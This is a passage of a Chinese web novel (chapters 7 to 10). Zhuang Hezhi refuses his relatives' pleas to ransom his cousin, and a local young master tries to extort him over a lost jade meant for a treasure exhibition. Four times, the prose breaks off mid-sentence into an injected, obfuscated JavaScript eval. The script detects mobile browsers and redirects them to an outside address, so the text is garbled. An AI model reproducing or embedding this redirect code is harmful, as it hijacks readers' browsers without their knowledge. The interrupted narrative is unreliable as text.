“今日您府上大喜，我们叨扰已久，就不多留了。”庄鹤止道，“愿令媛今后美满顺遂。胡师傅，也请多保重。” 胡一手看着他们，叹了口气：“我只盼莫要再惹出什么风波才好。今日这些话，我就当从未说过，两位请自便吧。” 苏厌也微微点头，转身与庄鹤止一同离开了胡家。 走出巷口，喧闹的市井声再次涌来。 苏厌看到，正对巷子，胡小妹夫家门前，鞭炮碎屑铺满地，人声、笑声混杂着酒气，与这边相比，好像两个毫不相干的世界。 两人从城外回到西廓舍，已是傍晚。 整日奔波，也没有拿到想要的东西，两人都没什么食欲，便在巷口常去的糖水铺坐下。 苏厌照旧点了一碗桂花酒酿，悄悄看向对面的庄鹤止。 他一句话也没说，苏厌能感觉到他很疲惫，甚至有些绝望。 也许他在想：原来要证明这个东西是自己的，竟然这般艰难，是否从一开始就不该争，不如算了？只要能使天下苍生获益，这东西是谁的有那么重要吗？ 这时，一股熟悉的寒意渗出来。苏厌知道那是寒症要犯的前兆。 她与庄鹤止之间那该死的“同生共死”又在庄鹤止心情最低落的时候找了上来。 “庄公子。”她赶紧叫住他，道，“没事的。” “这条路本就是难的。指望一天就掀开所有真相那才奇怪。” 庄鹤止点点头，算作对苏厌的回应。 “我知道你在想什么，”她语气认真起来，“你可能觉得，图纸这东西，冠了谁的名，出自谁的手，眼下看来似乎没那么要紧。” “但庄公子，你换个角度想。” “现在，李仁义用的那份有问题的图纸，它可不是你的。他这是偷却没偷全，在外糊弄人，在内偷工减料，还自作聪明弄出一堆多的东西，以为人家发现不了。” “这算什么？这叫又蠢又贪。最后闸口要是出了事，别人追溯源头骂的是谁？你就说，这口锅你庄鹤止，你们庄家，背不背？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319172|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以，这已经不是你想不想争的问题了。是有人偷了你的东西，还糟蹋得面目全非，甚至可能用它来害人栽赃。你能忍吗？” “你的东西，不能让他这么毁了。从这个角度想，你得争。” 苏厌越说越激动，眼里有火光，等着庄鹤止的反应。 好神奇的一个人。 在这普通人尊严卑贱如尘，巧工无名、巧思无主的世道里，她竟然信誓旦旦地说，“自己的东西，得争”。 “你说得对，得争。”庄鹤止掷地有声，“而且，你看我们也不是全无收获。至少我们得知了一个信息，那就是有东西多出来了。” 她注意到，自己身体里的寒意因为两人开始集中精神说话而稍退。 “没错，那些多出来的铁器，究竟是用来做什么的？”苏厌接话。 没等他们俩细细研究，讨论出个结果，身后突然扑通两声。 他俩还没来得及回头，嚎啕声先响起。 “鹤止啊，鹤止啊，我求求你了，你一定得救救大壮啊！”庄大壮是庄鹤止的堂弟，来人正是许久不见的叔叔婶婶。 这两人出现的地方，一定没憋什么好屁。 原本还想看看发生了什么事，一听是这两人的声音，他们连头都没抬，当他们不存在，不慌不忙地把那糖水往嘴里送。 婶婶用膝盖小步挪到庄鹤止的正前方：“鹤止，我求求你了，你救救大壮吧！我们平时待你不薄啊，你不能见死不救！” 她是手脚并用的，像只大扑棱蛾子，一边喊，一边拍自己胸口，又去拽庄鹤止的衣摆，动作幅度极大，一把眼泪一把鼻涕地蹭了上来。 叔叔也不甘示弱，甚至越来越大声：“鹤止！你行行好！你救救他吧！你要是不管他，就是要逼死我们一家啊！” 由于这是在巷口，他们动静又大，很快吸引了周围人的目光。苏厌发现围观的人越来越多。 几个提着菜篮的妇人停下脚步，交头接耳，手指悄悄指指点点。 对街茶馆的茶客听到动静也探头出来了，但也不走近，就是倚在门框上看热闹。 “做叔婶的都给侄儿跪下了，得是多大的难处啊，他怎么这么狠心？” “庄鹤止，是不是庄家那小子？听说他现在在军器监干活，看起来挺体面，怎么把长辈逼成这样？” “旁边是他娘子吗？他娶亲了？没听说啊……” 眼看议论声越来越大，叔叔婶婶很高兴，因为他们要的就是这个效果。 庄鹤止猛地起身。 木凳腿在青石板上刮出巨大一声锐响，现场哭嚎与议论瞬间消失。 他没看跪在地上的叔婶，直接转身，把目光投向那几个说闲话的人。 “看什么？” 他的声音不高，但是很锋利。 他往前走了一步，人群下意识往后一缩，“没见过丑人多作怪？” 婶婶的哭嚎卡在喉咙里。 庄鹤止根本不给她接话的机会：“要跪要演，要逼死谁，轮不到在这巷口脏了别人的地方！” 他将几枚铜钱拍在桌上，一把拉起还没吃完糖水的苏厌：“你们两个，有事滚进来说。” “走。” 说完，他攥着苏厌手腕，分开人群，径直朝西廓舍的方向走去。 8. 第 8 章 庄鹤止拉着苏厌进了院子，先是让她在院内坐下，然后进了老夫人的房间。 几番照顾安顿，他退出来，轻轻掩上门。 叔叔婶婶这时已经进了院子，看见大嫂的房门还没关上，刚准备开口嚎两句，引起她的注意，被庄鹤止一个眼神瞪得咽了回去。 “要是敢吵到我娘休息，现在就滚出去。”庄鹤止冷冷道。 虽然他对叔婶一家碰到了什么事情并不感兴趣，刚刚也没有细细听，但“救救大壮”几个字他还是心里有数的。 当下这个局面，是他们有求于他，必定不敢轻举妄动。 但这话在叔叔婶婶听起来，就是庄鹤止松了口。 他们觉得，这回故意在外人面前闹，是赌对了，庄鹤止这个人到底还是爱面子，要在旁人面前树立个同亲戚相亲相爱、和睦相处的形象。 婶婶还没等庄鹤止坐下，便又往前扑了几步，一把抓住他的裤子：“鹤止，你救救大壮，他被绑架了！我就这一个孩子，我没他不行啊！” 庄大壮，苏厌对他的印象，还停留在他被庄鹤止扔出门去的那个瞬间。 仔细想想，这个堂弟倒也生得憨厚，个头高大，面庞圆润，表情木讷，初次见面，总容易觉得他是一个天真耿直愚钝的老实人。 只有庄鹤止知道，这人是一个心眼歪斜、懒惰成性、专“吸人血”的祸害。 他从小学艺不精，读书不成。 但他这个人并不是完全愚蠢，只是爱把小聪明用在钻研偷懒和占便宜上。 二十多岁的大汉，整日无正经营生。偶尔经人介绍，做点闲职，都因为怕苦怕累、手脚不净或冲撞人而干不长久。 他终日厮混，吃喝嫖赌，赊账记名最后都要说一句“庄鹤止是我哥”。 十多岁那年，庄大壮偷了家里祖传的一件花瓶去当，换钱与人斗蛐蛐，输了个精光。 庄鹤止找到他时，他正蹲在赌坊门口挨别人揍。 赌坊伙计看庄鹤止来，以为这个大哥要护着弟弟，哪想到，他一上来就在庄大壮头上结结实实踹了一脚。 那次庄鹤止是真动了怒。 他甩下一句“我自己的堂弟自己管”，就把庄大壮揪回家，反手锁进了家里的杂物间。 庄鹤止去喝了口水便进了杂物间，解下腰间的皮带，对折握在手里。没理会庄大壮的鬼哭狼嚎，狠狠地一下下抽过去。 庄大壮的脸上、手上立刻浮起一道道红肿的棱子，嚎叫着想躲，被庄鹤止按着肩膀压在地上使劲抽。 那晚庄大壮哭得撕心裂肺，叔叔婶婶在外一直敲门，只差没有把杂物间的门给砸烂。 最后，庄大壮蜷在地上，像个蠕动的毛毛虫一样抽噎着求饶。 庄鹤止这才停下，把腰带重新系回腰间，手指都是抖的。 那晚，庄鹤止教训完庄大壮，推开杂物间的门。 那个时候他也还不到二十，把堂弟揍得伤痕累累，脸上却没什么表情。 他出来时，父亲庄闻远站在院里阴影处看着他。 “打完了？”庄闻远问。 庄鹤止点了点头。 “你下手太重了。”庄闻远抬头看树，似乎醉翁之意不在酒，但声音带着威严。 “我知道。他偷东西赌钱，丢庄家的脸。我管了，下手就得重。”庄鹤止回复道。 没有展开过程，没有描述庄大壮的惨状，更没有任何为自己开脱的意思。 他只是在陈述一个结果，并为此负全责。 “你叔婶在外面敲了很久的门。”庄闻远叹了一口气。 “让他们敲吧，进不来。”庄鹤止声音平平淡淡，“门我锁死了。” 庄闻远皱眉：“你这孩子。” 他沉默了一会儿，上下看眼前这个年青人。 “接下来，这个堂弟你想怎么安排？”庄闻远问。 “先让他养伤。等养好了，再送铁河庄去种地。”庄鹤止说，“我会亲自送。叔婶那边，我会去亲自说。” 庄闻远有些震惊。 儿子身上有种近乎野蛮的但又异常清醒的掌控力。 他是可以自己制定规则的人。 父亲看了他半最后只点了下头，转身走了。 庄鹤止一个人站在院子里。里头庄大壮还在抽抽，声音已经哑了。 他甩了甩手腕，骨头咯哒轻响了一声。 然后转身，回自己屋。 门一关，外头什么声都静了。 那晚上过后，家里再没人敢当他是个孩子。 庄大壮在床上躺了半个月。 后来，他好了伤疤忘了疼，依旧没学乖。 二十多岁那次，庄大壮险些闹出人命。 他在外头与人争娼妓，争不过，竟半夜翻墙去人家房子里放火。 好在火刚燃起来没多久，他就被打更人逮个正着，火扑灭得快，没有人伤亡。 苦主扬言要把庄大壮送官究办，是庄鹤止亲自押着他，登门磕头，赔尽笑脸，又掏空了大半积蓄，才将这件事压下。 那夜回家后，庄鹤止不像从前那样恼羞成怒了。 他只是冷静地抬头看了院中跪着的庄大壮一眼，走到柴房拎了根手腕粗的木棍。 庄大壮害怕得在地上直爬，叔叔婶婶也尖叫着上前想挡。 庄鹤止没理，挥着那木棍就砸在他右腿上。 庄大壮叫得撕心裂肺，几乎要痛晕过去。 庄鹤止的动作一气呵成，像拎一条狗一样把他扔了出去。 这条腿，叔叔婶婶后来请了大夫来医治，但到底落下了毛病。 自那以后，庄大壮走路便有些跛。 可即便是这样，他也还是没长记性。 听到婶婶这句话，庄鹤止轻笑了一声，双手抱在胸前：“我为他补窟窿已经不是一次两次。他那次放火之后，我就已经不再管他了，你知道的。” “鹤止，我知道我这个孩子，他不成器，他没出息，只会给你惹祸。你就当他是条狗也好……我求求你了，你帮他最后一次吧，好不好？”婶婶声音颤抖，快要哭出来。 庄鹤止依然不为所动。 叔叔这个时候已经看不下去了：“庄鹤止！你真当自己了不起了是不是？！” 他唾沫星子往庄鹤止这边喷：“是，你爹以前是当官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319173|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，你现在也出息了！我们这些穷亲戚，帮衬不了你，你就恨不得一脚踢开！” “大壮是不成器，可他也姓庄！你倒好，见死不救，你心怎么这么黑啊？”叔叔说完，狠狠往地上淬了一口痰。 苏厌见状上前半步，挡在了庄鹤止与叔叔之间。 “两位，先别急。” 苏厌瞥向老夫人卧房的方向，那里头传来布料摩擦的声音，像是翻了个身。 闹出这么大动静，该惊动老夫人了。 苏厌明白，庄鹤止很为难。 一头是屡教不改的堂弟和步步紧逼的长辈，另一头又是重视家族体面、盼着儿孙和睦的老夫人。 他可以不理会叔婶的谩骂，却不能不顾及母亲的心愿。 如果因为今日之事，落下个冷血名声，又惹得老夫人伤心动气，病情加重，那才是因小失大，得不偿失。 她无可奈何地看着跪在地上的婶婶：“您这样哭，除了伤身子什么也说不明白。既然是来求救，总得让人知道救的是什么，该怎么救吧？您总这样不明所以地撒泼打滚，旁人看起来就是在为难庄公子啊。” 虽然很轻微，但苏厌仍能感觉到，老夫人翻身的动作停住了。 婶婶抹了把脸，狠狠瞪了庄鹤止一眼，这才抽噎着说：“是……是大壮身边一个常跟着的小子跑回来报的信。” “都怨大壮他前几日，这不是之前从鹤止你这又拨了点钱嘛，他就又去赌了。你知道的，这小子就是运气不好，又给输完了，还把裤衩子也押在人家那里。那他本来就还不上，他就偷跑了，这也是人之常情……” “后来那帮赌坊的人，就追着他讨债，他慌着往回躲，结果在城西牌楼那儿，跑得太急，一头撞上了那个陈老爷家的公子！轿子都差点给撞歪了，里头陈公子的茶泼了一身。” “大壮身边那小子说，陈少爷当场就不乐意了，让人摁住了大壮，还骂他混账东西。” 婶婶说到这里，又气又急：“这傻孩子！他一点不告饶，还指着人家鼻子说你敢动我试试？知道我哥是谁吗？我哥是庄鹤止！军器监的庄鹤止！你敢碰我一下试试！” “那小子说，本来这些事情一码归一码，但那陈少爷一听庄鹤止三个字，突然表情就变了。”婶婶回忆道，“怎么说……他好像没那么生气了，好像在打什么主意的表情，忽然就捂着怀里叫起来说，我的玉呢？我祖传的宝玉呢？刚才还在的！” “大壮根本就没偷他的玉啊！但他指着大壮就喊，肯定是你！光天化日，假装撞我，实则偷我传家宝玉！好你个贼子，仗着有点名头就敢当街行窃！来人啊，给我把这贼押回府里！” “他们就这样把大壮绑走了！”婶婶又哭哭啼啼，“临走前，陈少爷专程让那小子来报信，说你去告诉那姓庄的，他弟弟偷了我的玉，要么，三天内把原模原样的玉送来；要么，就带着五千两现银来赎人！” “鹤止啊！”婶婶又扑过来，“你跟我说实话！是不是你先前得罪过那位陈少爷？要是你们有什么过节，你自己去把话说开行不？该赔罪赔罪，该了结了结！可大壮他是无辜的啊！他再浑，也是替你遭了这无妄之灾！” 9. 第 9 章 “替我遭这无妄之灾？”庄鹤止冷静地看着婶婶，语气里听不出情绪波动，却让激动大喊的婶婶一下子收敛了。 庄鹤止站起身往前走了几步：“恕我直言，婶婶，你刚好搞反了。” “那姓陈的若真与我有过节，直接上门寻衅，岂不更方便？分明是您儿子莽撞惹祸在先，他大可以把您儿子乱棍打死，是因为我，才留了庄大壮一条命。”庄鹤止道。 “你……”叔叔憋了一口气在心里，但碍于儿子还在别人那押着，不敢发作。 庄鹤止继续道：“这回，我能救，但我不救。” 叔叔冲上来，狠狠一把扯住庄鹤止的袖子，又被甩开踉跄了一下。 没等站稳，叔叔就指着庄鹤止鼻子骂：“你个黑了心肝的白眼狼！你今天敢说这句话，往后就别再叫我一声叔，我大哥要是还活着，也要被你气死不可！” 提什么不好，非要提他那早早离世的父亲。 庄鹤止的脸瞬间沉了下来，没等他俩反应，他一步跨到墙边，抄起墙角的一根门闩，抡起来就直接劈在两人身侧的方桌上。 桌上的茶壶、杯子炸裂，碎片四溅，水和茶叶也泼了一地。 婶婶的哭声戛然而止，叔叔也被这突如其来的动作吓住了。 庄鹤止一言不发，握着那根门闩，指着门外。 那意思再明白不过：滚。现在。 叔叔嘴唇哆嗦，扯着吓傻的婶婶一起跌出门槛。 他们前脚刚出去，庄鹤止后脚就“砰”地关上了门。 门闩也被他重重插回原位，那声音闷闷的。 苏厌攥紧了衣服，看着庄鹤止做完这一系列动作，想要上前安慰，却又不知道说什么好。 虽然苏厌并不清楚前朝那段往事的具体细节，更不可能知道庄鹤止的父亲究竟遭遇过什么，但史书上的寥寥几笔与江湖间模糊的传闻，都能说明那绝不是什么善终。 “父亲”二字在庄鹤止心里，是最深、最脆弱的禁忌和软肋。 苏厌看着庄鹤止的背影。 刚才那一下砸得太狠，院子内现在一片狼藉，桌子裂了，碎瓷片混着茶叶水渍溅得到处都是。 苏厌想，她来这儿也有一小段日子了，见过庄鹤止生气、冷脸、同人较劲甚至骂人，也没见过他真抄家伙动手。 这是头一回。 苏厌把几片最锋利的碎瓷捡起来，放到一边。又拿来扫帚，把地上的碎渣和茶叶扫掉，转身进了旁边的厨房。 屋里很静，静得能听见他压抑着的呼吸声。 接着，她舀水，点火，把铁壶放上炉子。水开后，她拎着壶出来，看见庄鹤止还在原处。 她倒了杯热水，走过去，递到他手边。“喏，喝杯水吧。” 庄鹤止接过来，没喝。他声音很低：“让你见笑了，苏姑娘。但你别问，关于我父亲，我没什么可说的。” “我知道。”苏厌答得很快，“我也没想问你这个。” 她抬起手轻轻指了指老夫人房间的方向，小声说：“只是……你真不救？” 她不清楚庄大壮究竟多混账，但她清楚，一门之隔，老夫人什么都听见了。 庄鹤止可以对叔婶狠绝，可对生母呢？ 他能忍心让老人家听着儿子见死不救，在里屋煎熬一整夜吗？ “我关过他，也打断过他的腿。每一次，不管我下手多重，心里其实都清楚，夜里父亲总会来见见我。” “他不骂我，只是问我，想清楚为什么非打不可了吗？打完了，后面怎么安排？那时我做的事，无论对错，都还有个人看着，担着。” “现在没人来问了。那我管与不管还有什么分别？我有点累了，也有点想我父亲了。”庄鹤止说。 苏厌轻轻叹了一口气。 这种情绪她懂。 接下来的几天，庄鹤止如他所说的那样，完全没理会这件事。 他将自己整个人投进监中事务，忙着筹备起云州玲珑鉴宝会。 这鉴宝会是州府牵头、三年一度的盛事，名义上是让各地藏家与匠人展示奇珍，切磋技艺，实则是为京城挑选贡品。 说白了，云州的大官小官们，都想靠这个会给自己脸上贴金，显摆自己地盘上有钱、有宝贝、能人还多。 办好了，功劳簿上记一笔，说不定就能往上升一升。 一旦办砸了，就是当众打脸，丢官罢职都可能。 鉴宝会之所以落在他们所在的窑坊镇，一是这里水陆码头俱全，商贾云集，办得起这等烧钱的场面；二是因为此地自古手工业发达，能工巧匠辈出，也有前朝古墓遗址，民间挖宝、藏宝、鉴宝的风气盛，底子厚。 庄鹤止是军器监监造，此次专责督办鉴宝会器物甄选、真伪鉴定及陈设安保的差事。 哪些宝物能登堂入室，摆在什么位置，如何确保它们从入库到展出的万无一失，由他拍板或核准。 这几天，他忙得脚不沾地。 天不亮就起身，第一件事就是赶到窑埠司衙门听各方回话。 窑埠司日常协调镇内水陆运输、稽查货物。 如今承办鉴宝会，各地宝物、匠人、物料靠水陆运送，此处就成了统管调度、处理紧急事务的地方。 由于窑埠司临河而建，那漕帮管事的来得最早。 来人捧着水路图，说话嬉皮笑脸、拐弯抹角：“庄大人，鉴宝会是咱们镇上天大的光彩，弟兄们跑船押货，一定给您办得妥妥帖帖。就是……”他凑近些，“这码头泊位调度，还有货的进出的时辰，能不能多关照关照咱们自己兄弟？” 漕帮这批人话里是两个意思：一是想多占好时段、好泊口，把其他家排挤开；二是暗示，若庄鹤止愿意给他们行方便，手续费自然也好商量。 庄鹤止眼都没抬，手指点着：“卯时三刻，东二、东三码头，泊你们漕帮的船。其他时间，泊官船和外地有州府批文的货。时辰、泊位，改不了。” 说完，他摆摆手：“本官按章程办事，该漕帮承运的，不会多也不会少。若觉得不妥，现在就可拿着文书去州府申诉。” 那人听完，只好赔着笑离开。 各路商人也开始试探。 这些人路子野，门道多，不直接递名帖，只辗转托中间人拐弯抹角地递话。 他们话也说得好听：“不劳烦庄大人破例，只求指点一二，咱家那尊三彩马，摆在哪处更衬景？” 这些庄鹤止一概不接。 他让苏厌去回话：“宝器陈设，自有规制，不因人而异。一应用料，皆由州府统一采买，账目存档，以备核查。” 碰了几次壁，那些商人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319174|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们便换了更隐蔽的法子。 有人试图贿赂看守库房的小吏，想趁夜偷偷给自家东西换个靠前的号；有人在货箱做手脚，内里暗藏玄机，夹带私货，想塞些东西一起混进去。 这些伎俩，大多在苏厌带着人一遍遍筛检时便被识破，连庄鹤止的面都没见到，就被按章程处置了。 除此之外，苏厌这个监理，还得管理一些琐碎的事情。工匠的吃食、值守护卫的换班，车夫运送宝箱进场，她都要亲自过眼。 不过，这期间，那位陈少爷的骚扰也没断过。 他专挑些上不了台面的恶心事来给庄鹤止添堵。 有时是庄鹤止清早出门，发现西廓舍大门上被人泼了一滩腥臭的鸡血，还混着几根黑毛。 有时是苏厌夜里核完账，发现门缝里塞着几张画了王八的纸。 还有时，不知是谁、从哪里找来的几个孩子，连续几天蹲在西廓舍门口，整晚玩闹，扯着嗓子唱些外人教的歪调子。 这些事情虽说都是无关紧要的小事，但是像苍蝇一样围着转，令人烦心。 其实，陈少爷这么做，无非是想时时提醒庄鹤止：你堂弟庄大壮还在我手里，什么时候来赎人？ 可他万万没想到，庄鹤止对此真就视若无睹。 他找人做的那一切，庄鹤止根本都不放在眼里。 他搞出那么大阵仗，庄鹤止当他是跳梁小丑。 本来就郁闷，更憋闷的是，他手里那个人质庄大壮，非但没把庄鹤止要挟住，反倒成了个烫手山芋。 庄大壮被关在陈家一处偏院里，起初还闹过两回，挨了几顿不轻不重的收拾后，也就彻底不闹了。 毕竟，他别的本事没有，主打的就是好吃懒做、饭量惊人。 每日睡到日上三竿，醒来便嚷着要酒要肉，点心果子不断，上菜上慢了，就嚷嚷着：“饿死我算了，我死了，我大哥也不用来了！” 陈少爷原想着，绑了这个大壮，可以拿捏庄鹤止的把柄，结果请回来一个胡吃海塞的混球。 家里值点小钱的东西都被庄大壮顺手摸走了不少，碗砸坏了好几个，窗户被捅烂了好几扇，他还打翻烛台，差点又惹出一场火。 陈少爷每天气得肝疼，对着下人大骂：“这姓庄的一家都有病吧？这叫什么事？我绑了个祸害回来，庄鹤止那边屁动静没有！老子这儿快被这饭桶吃穷了！” 偷鸡不成蚀把米，一肚子邪火没处发。 终于有一天，陈少爷实在憋不住了。 他灌了半壶闷酒，越想越窝囊。 凭什么啊？庄鹤止稳坐窑埠司，风光筹办鉴宝会。他那草包堂弟庄大壮，在他这儿都好吃好喝当起了大爷，合着就他一个人里外不是人，倒霉透顶。 庄鹤止不来找他？ 行，那他就自己去找庄鹤止。 他带着几个平日里横行的狗腿子下人，也不坐轿，就这么气势汹汹、满脸涨红地直奔窑埠司去。 一路上，行人见他面色不善，纷纷避让，还在背后窃窃私语：这陈家大公子又怎么了？平日里不见他做成什么正经事，倒是三天两头瞧见他被这个气、被那个欺，没个消停。 到了窑埠司门口，他不等通报，一把推开上前阻拦的差役，扯着嗓子就吼：“庄鹤止！你给我出来！别他妈躲在里面装死！” 10. 第 10 章 苏厌正在后院库房外的空地上，清点一批刚运到的器物。 她手里拿着清单，正指挥两个杂役分类摆放。 门口那阵突如其来的叫骂声穿透前院传来，她侧耳听了两句，不知道来的人是谁，但能听出这人喝了酒，一副破锣嗓子。 她猜测，该是那偷偷摸摸，每天搞些恶心人小动作的那个人吧。 “你们继续，按单子分好，别混了。”她对那两个杂役吩咐道，又朝不远处的衙役头目打了个手势，朝前院方向扬了扬下巴。 那衙役头目会意，立刻点了两个人，按着腰刀跟着苏厌，往前院赶去。 赶到前院，她总算看清了那个张狂大喊的人。 他穿着一身宝蓝色杭绸直裰，腰系玉带，一身行头看起来价值不菲，恨不得把我家有钱四个字贴在脑门上。 可这身打扮穿在他身上，总有种说不出的别扭。 料子太好，反而衬得他身形有些松垮。他整个人浮躁又狼狈，浑身上下透出一股暴发户硬充风雅人士的尴尬。 他衣襟上还沾了点酒渍，此时此刻，不知是因为激动还是酒意，白净的脸涨得通红。一手叉腰，一手指着司里，虚张声势，喊到高处有点破音。 苏厌看这个人的样子有点想笑，但还是憋住了，恭恭敬敬行了个礼：“这位公子真是好兴致呀，一大早就喝酒，莫不是走错了地方，我们这里可不是酒楼戏园子！” 陈公子身边的狗腿子先狐假虎威了一番：“你少在这儿阴阳怪气！哪儿冒出来的女人，也敢拦路？你进去通知那个姓庄的，就说陈显贵陈大公子来了，叫他赶紧出来迎接。” 陈大公子，苏厌一听心里有数了，这不就是那个绑了庄大壮的少爷吗。 原来他竟然这么沉不住气，没等到庄鹤止去府上赎人，倒是自己找上门来了。 真是架子不大，一点官也没有。 苏厌身后一个衙役往前一步：“休要在这里放肆，对苏监理放尊重点。”他不屑于动刀，直接狠狠指了那狗腿子一下。 苏厌摆摆手，示意无伤大雅，继续道：“原来是陈少爷，有失远迎。庄大人最近很忙，没有闲工夫理会乡野琐务，您请回吧！” 乡野琐务，话里话外不就等于说自己是个地痞流氓吗？ 陈显贵咽不下这口气，也没理会苏厌，而是直直往里冲：“你给我滚开，我要找姓庄的！” 身边衙役见状赶忙拦了上去，又因为陈显贵只是莽莽撞撞四处找人，没干什么杀人放火的事情，不好拔刀，用身体和手臂牢牢封住他的去路。 任凭陈显贵如何冲撞，几个衙役都把他稳稳架住，边说：“陈公子，请留步！” 苏厌低头笑了笑，给衙役交代了句“先别让他进来了”，然后转身往里屋庄鹤止所在的方向走去。 庄鹤止此刻正在窑埠司内厅的签押房内审阅一批鉴宝会的安防文书。这时，苏厌轻轻推开门进来了。 “庄公子，陈显贵来了，在门口大闹，冲着你来的。”苏厌往外头指了指，“这次也不准备管吗？” 庄鹤止低头闭上眼揉了揉太阳穴，虽然一个字没说，但是苏厌已经听出了他的心声：真麻烦。 没等庄鹤止回复，身后骂骂咧咧的声音就盖了过来。 苏厌原本背对大门，双手正撑在两扇门上试图合拢，结果身后那人猛地往她身上一撞，腰部突然受力，她两手一滑，整个人顿时直直朝前栽去。 庄鹤止一个箭步冲到苏厌身侧，伸出左手轻轻一抄，再往上一带，把她提了过来。 几乎是同时，他右脚踢起，正好踹在准备挤进门来，一身酒气的陈显贵胸口。 “哇！” 陈显贵闷叫一声，整个人飞了出去，砸在门外的台阶上，滚了好几圈才停住。 这一脚让他酒醒了大半。 庄鹤止看苏厌站稳了，将苏厌往身后轻轻一推，自己挡在了签押房门前。 他目光扫过地上的陈显贵和陈显贵旁边忙着搀扶的狗腿子们，道：“私闯官衙，冲撞命官。把你们家少爷抬走。再敢近来我就按土匪论处。” 陈显贵晃了下脑袋，捂着胸口站起来：“姓庄的，你别以为顶个官帽，就能在老子地盘上横！信不信我回去就把你堂弟另一条好腿也给敲折了！” 庄鹤止笑得轻松：“随便你吧。最好是敲折了另一条腿，再把两只手也给断了，直接扔到大街上去乞讨，这样以后也省得来我这儿烦心。” 陈显贵愣在那里：你是他大哥还是他仇人啊？ “你你你别以为假装不在意，我就真干不出来，我现在就回去把他废了！”陈显贵说。 庄鹤止抬了抬手：“请便。”说完就准备关上门。 陈显贵一边拍着身上的灰，一边没好气地说：“行，你庄鹤止有种！我这次丢的是鉴宝会右侍郎大人亲自点名要瞧的九河灵璧，老子就绑来这么一个废物，又丢玉又丢人，真是亏大了！” “最好你这会彻底办砸！你庄鹤止也跟着倒大霉，那才叫痛快！”陈显贵忍不住咒骂道。 庄鹤止的手停在半空中。苏厌也注意到了陈显贵说的话。 原来，陈显贵丢的那个玉是这次鉴宝会的其中一个展品。 如果单单是庄大壮自己闹出的偷窃赌债，庄鹤止大可以不管，任他去吃苦头。 但如果丢失的是九河灵璧，这件宝物还被右侍郎亲口点名过，事情就彻底变质了。 陈显贵看出了庄鹤止的迟疑，立刻洋洋得意起来：“怎么样，怕了吧！我都说了，做人别那么横，到时候还得来求我！” 苏厌见庄鹤止皱了眉头，知道此时这件事情已经不是寻常挑衅滋事那么简单。 九河灵璧。苏厌有印象，接手筹备时她拿到资料，匆匆瞥了一眼，这个宝物已经上报过，但一直没有送来。 没想到还没运送过来，就已经遗失。 苏厌的第一反应是不相信。庄鹤止也是。 你陈显贵可以诬陷是庄大壮偷了这块玉，也不是没可能自编自演自导这场戏。 你藏在自己家，咬死就说是丢了，难道谁还能去你家翻个底朝天不成？ 陈显贵看他们俩一脸不相信的样子，反倒是来了劲：“你俩别一副我在骗人的样子！我告诉你们，那玉要不是真丢了，我有一万个办法绑走庄大壮，还用得着编这理由？” “而且，老子告诉你庄鹤止。”他趾高气昂上前一步，鼻孔差点瞪到庄鹤止面前：“是不是你那废物堂弟偷的，我一点也不关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319175|199027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心，因为根本不重要。” “老子现在就说是他偷的，又如何？我家里的下人全听我的，你要多少人证就有多少人证。” “云州官渠重修那五千两的工程，要不是你死死按着，硬扛着要层层上报核对，早他妈落进我陈家口袋了！你断我这么大一柱财路，真当我能咽下这口气？” “你让我陈家不痛快，我就要闹得你鸡飞狗跳，让你这鉴宝会办砸，让你卷铺盖滚蛋。”陈显贵叉着腰，一副“老子就是要讹你，你能拿我怎么办”的表情。 苏厌听懂了，原来陈家和庄鹤止早就有私仇，就算没有庄大壮去闯祸，也会有其他事情找上门来，庄大壮这件事不过是个导火索。 陈显贵最后伸出三根手指，在庄鹤止面前晃了晃：“我这里有三条路给你选！” “一，你现在就给我拿出五千两现银，算是你给我们家赔礼道歉，玉的事也就不麻烦你操心了。” “二，你厉害，你自己去把真玉给我找回来！找不回来，你这鉴宝会就等着烂尾吧！” “三，你继续横，啥也不干，那咱们就耗着。看是你先被州府问责，还是我先把你那堂弟给打死！” 陈显贵说完，死死盯着庄鹤止，看他做何反应。 